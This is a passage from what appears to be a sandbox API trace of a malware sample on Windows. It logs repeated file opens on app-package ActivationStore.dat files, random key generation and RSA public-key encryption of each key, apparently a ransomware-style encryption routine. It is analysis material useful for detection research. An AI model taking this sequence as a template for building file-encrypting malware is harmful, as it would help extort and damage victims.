Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.855] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.861] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.861] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.861] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0283.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.866] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.866] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.867] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.869] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7130) returned 1 [0283.869] CryptGetKeyParam (in: hKey=0x67a7130, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.869] CryptEncrypt (in: hKey=0x67a7130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcfe0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcfe0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.869] GetLastError () returned 0x0 [0283.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.869] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7570) returned 1 [0283.871] CryptGetKeyParam (in: hKey=0x67a7570, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.871] CryptEncrypt (in: hKey=0x67a7570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcff0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcff0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0283.872] GetLastError () returned 0x0 [0283.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.872] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\microsoft.bingfinance_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.903] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.906] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.909] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.909] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.909] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.909] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0283.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.914] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.914] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.914] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.916] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a78b0) returned 1 [0283.917] CryptGetKeyParam (in: hKey=0x67a78b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.917] CryptEncrypt (in: hKey=0x67a78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd000000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd000000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.917] GetLastError () returned 0x0 [0283.917] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.917] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0283.919] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7630) returned 1 [0283.919] CryptGetKeyParam (in: hKey=0x67a7630, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.919] CryptEncrypt (in: hKey=0x67a7630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd010000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd010000*, pdwDataLen=0x285db40*=0x100) returned 1 [0283.919] GetLastError () returned 0x0 [0283.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.919] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\microsoft.bingnews_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.944] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0283.948] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.950] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.950] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.950] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.950] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0283.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.955] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.955] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.956] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0283.958] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a77b0) returned 1 [0283.958] CryptGetKeyParam (in: hKey=0x67a77b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.958] CryptEncrypt (in: hKey=0x67a77b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd020000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd020000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.958] GetLastError () returned 0x0 [0283.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.959] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0283.960] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a75b0) returned 1 [0283.960] CryptGetKeyParam (in: hKey=0x67a75b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.960] CryptEncrypt (in: hKey=0x67a75b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd030000*, pdwDataLen=0x285db40*=0x100) returned 1 [0283.961] GetLastError () returned 0x0 [0283.961] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\microsoft.bingsports_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.985] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0283.988] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.991] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.991] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.991] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.996] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.996] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.997] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.999] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7670) returned 1 [0283.999] CryptGetKeyParam (in: hKey=0x67a7670, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.999] CryptEncrypt (in: hKey=0x67a7670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd040000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd040000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.999] GetLastError () returned 0x0 [0283.999] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.999] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0284.003] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a71b0) returned 1 [0284.003] CryptGetKeyParam (in: hKey=0x67a71b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0284.003] CryptEncrypt (in: hKey=0x67a71b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd050000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd050000*, pdwDataLen=0x285db40*=0x100) returned 1 [0284.003] GetLastError () returned 0x0 [0284.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\microsoft.bingweather_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0284.064] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0284.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.072] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.072] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0284.072] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.072] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0284.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.077] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0284.077] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.077] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0284.079] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7170) returned 1 [0284.079] CryptGetKeyParam (in: hKey=0x67a7170, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0284.079] CryptEncrypt (in: hKey=0x67a7170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd060000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd060000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0284.080] GetLastError () returned 0x0 [0284.080] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.080] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0284.082] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a71f0) returned 1 [0284.082] CryptGetKeyParam (in: hKey=0x67a71f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0284.082] CryptEncrypt (in: hKey=0x67a71f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd070000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd070000*, pdwDataLen=0x285db40*=0x100) returned 1 [0284.082] GetLastError () returned 0x0 [0284.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.082] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\microsoft.getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0284.107] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0284.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.115] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0284.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.115] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0284.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.121] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0284.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.121] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0284.123] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a70f0) returned 1 [0284.123] CryptGetKeyParam (in: hKey=0x67a70f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0284.123] CryptEncrypt (in: hKey=0x67a70f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd080000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd080000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0284.124] GetLastError () returned 0x0 [0284.124] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.124] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0284.126] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a74f0) returned 1 [0284.126] CryptGetKeyParam (in: hKey=0x67a74f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0284.126] CryptEncrypt (in: hKey=0x67a74f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd090000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd090000*, pdwDataLen=0x285db40*=0x100) returned 1 [0284.126] GetLastError () returned 0x0 [0284.126] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.126] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0284.275] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.280] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.280] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.280] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.286] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.286] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.288] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7470) returned 1 [0284.288] CryptGetKeyParam (in: hKey=0x67a7470, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.288] CryptEncrypt (in: hKey=0x67a7470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.289] GetLastError () returned 0x0 [0284.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.289] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.291] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a74b0) returned 1 [0284.291] CryptGetKeyParam (in: hKey=0x67a74b0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.291] CryptEncrypt (in: hKey=0x67a74b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.291] GetLastError () returned 0x0 [0284.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.291] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application 